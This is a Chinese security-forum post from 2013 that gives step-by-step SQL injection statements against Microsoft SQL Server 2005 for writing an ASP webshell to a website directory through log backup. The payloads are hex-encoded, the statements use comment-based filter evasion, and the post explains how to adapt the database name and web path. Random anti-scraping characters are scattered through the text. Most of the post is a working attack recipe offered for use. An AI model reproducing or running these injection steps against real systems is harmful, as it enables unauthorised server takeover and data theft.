找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2696|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
+ e( D" f2 Z! @0 {& T( |  K" I" e' b  X3 I* n6 s4 @/ @' W
0 `9 ?9 b7 ~% O6 D4 d# A$ T
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
7 O1 X! z2 E6 u& D* V* m2 { 0 x9 J  O* X( j# \( m/ H
第一步
" f# h) N3 y9 q;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full-- : L7 H& Z) d( {2 p5 \1 X  Z

- u  H- H- |( C! E8 z  Z第二步:
# w( h2 m; p3 E! \( |8 d( Q) g, n;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ; \4 W0 G. }# }7 S; R

# v) c4 ~5 {9 K8 w& U! A6 [第三步 ( Z) H/ d* b. u' z6 `7 f
;drop/**/table/**/[itpro]--
$ ?! h. x, y4 i* C2 Y1 R- K
; \5 z7 z5 p% Y% y( Y0 I: Q4 r第四步   r+ k  T) _1 `" R) ~' p7 }, C
;create/**/table/**/[itpro]([a]/**/image)-- 0 Z/ W+ B2 T2 G7 ?; q4 ?8 j3 Y

) V) Z# d* U% ]# V# S第五步
4 x; O  ]: z$ ~% E; z# W;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- & f( Y6 C( T: C  |9 [
- [7 t9 R: ~2 h# p
第六步 . h- w6 b2 ^5 L4 s* ~
;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)--
4 ^( j) r0 _4 X. u, g  A0 B
- W- G! U1 z5 d第七步
4 ~+ D) J+ I% k. B6 @& ?;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- 3 i; [7 H! i/ K" O1 S' o

* r, t/ T4 w! ~  `5 b7 u3 ~第八步 8 a3 ]8 L  s! b
;drop/**/table/**/[itpro]--
8 |( y: ?9 G, d; f) d+ c 8 n, G9 t8 F7 V) f+ Z
第九步 * P/ Y: y: ~/ v% S3 Y
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
* I, _8 k! f9 g1 U% J! |6 F' a3 @ $ ^2 q0 g% n& \8 p
其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。
: P* X+ i5 _7 H. \' M$ V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表